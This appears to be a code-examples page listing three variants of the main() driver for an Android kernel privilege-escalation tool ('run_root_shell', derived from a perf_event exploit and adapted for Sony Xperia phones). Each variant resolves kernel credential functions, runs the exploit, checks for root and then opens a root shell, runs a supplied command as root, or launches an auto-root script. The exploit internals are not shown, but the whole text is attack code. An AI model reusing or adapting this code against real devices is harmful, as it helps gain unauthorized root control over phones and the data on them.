Пример #1
0
int
main(int argc, char **argv)
{
  set_kernel_phys_offset(0x200000);
  remap_pfn_range = get_remap_pfn_range_address();
  if (!remap_pfn_range) {
    printf("You need to manage to get remap_pfn_range addresses.\n");
    exit(EXIT_FAILURE);
  }

  if (!setup_creds_functions()) {
    printf("Failed to get prepare_kernel_cred and commit_creds addresses.\n");
    exit(EXIT_FAILURE);
  }

  run_exploit();

  if (getuid() != 0) {
    printf("Failed to obtain root privilege.\n");
    exit(EXIT_FAILURE);
  }

  system("/system/bin/sh");

  exit(EXIT_SUCCESS);
}
Пример #2
0
int
main(int argc, char **argv)
{
  char* command = NULL;
  int i;
  for (i = 1; i < argc; i++) {
    if (!strcmp(argv[i], "-c")) {
      if (++i < argc) {
        command = argv[i];
      }
    }
  }

  set_kernel_phys_offset(0x200000);
  remap_pfn_range = get_remap_pfn_range_address();
  if (!remap_pfn_range) {
    printf("You need to manage to get remap_pfn_range addresses.\n");
    exit(EXIT_FAILURE);
  }

  if (!setup_creds_functions()) {
    printf("Failed to get prepare_kernel_cred and commit_creds addresses.\n");
    exit(EXIT_FAILURE);
  }

  run_exploit();

  if (getuid() != 0) {
    printf("Failed to obtain root privilege.\n");
    exit(EXIT_FAILURE);
  }

  if (command == NULL) {
    system("/system/bin/sh");
  } else {
    execl("/system/bin/sh", "/system/bin/sh", "-c", command, NULL);
  }

  exit(EXIT_SUCCESS);
}
Пример #3
0
int
main(int argc, char **argv)
{
  printf("run_root_shell v2.2\n");
  printf("Based on pref_event exploit\n\n");
  printf("Modified for auto-rooting by DooMLoRD\n");
  printf("Part of Easy Rooting Toolkit\n\n");
  printf("Changelog:\n");
  printf("v2.0: added support for Xperia S  (LT26)  {FW: 6.2.B.0.211}    [Cust: 1257-8080]\n");
  printf("v2.1: added support for Xperia Z  (C6603) {FW: 10.1.1.A.1.307} [Cust: 1270-6704]\n");
  printf("v2.2: added support for Xperia SP (C5302) {FW: 12.0.A.1.284}   [Cust: 1272-1092]\n");

  set_kernel_phys_offset(0x200000);
  remap_pfn_range = get_remap_pfn_range_address();
  if (!remap_pfn_range) {
    printf("You need to manage to get remap_pfn_range addresses.\n");
    exit(EXIT_FAILURE);
  }

  if (!setup_creds_functions()) {
    printf("Failed to get prepare_kernel_cred and commit_creds addresses.\n");
    exit(EXIT_FAILURE);
  }

  run_exploit();

  if (getuid() != 0) {
    printf("Failed to obtain root privilege.\n");
    exit(EXIT_FAILURE);
  } else {
    printf("Launching auto-root script!\n");
    system("/system/bin/sh /data/local/tmp/doomed2");
  }

  exit(EXIT_SUCCESS);
}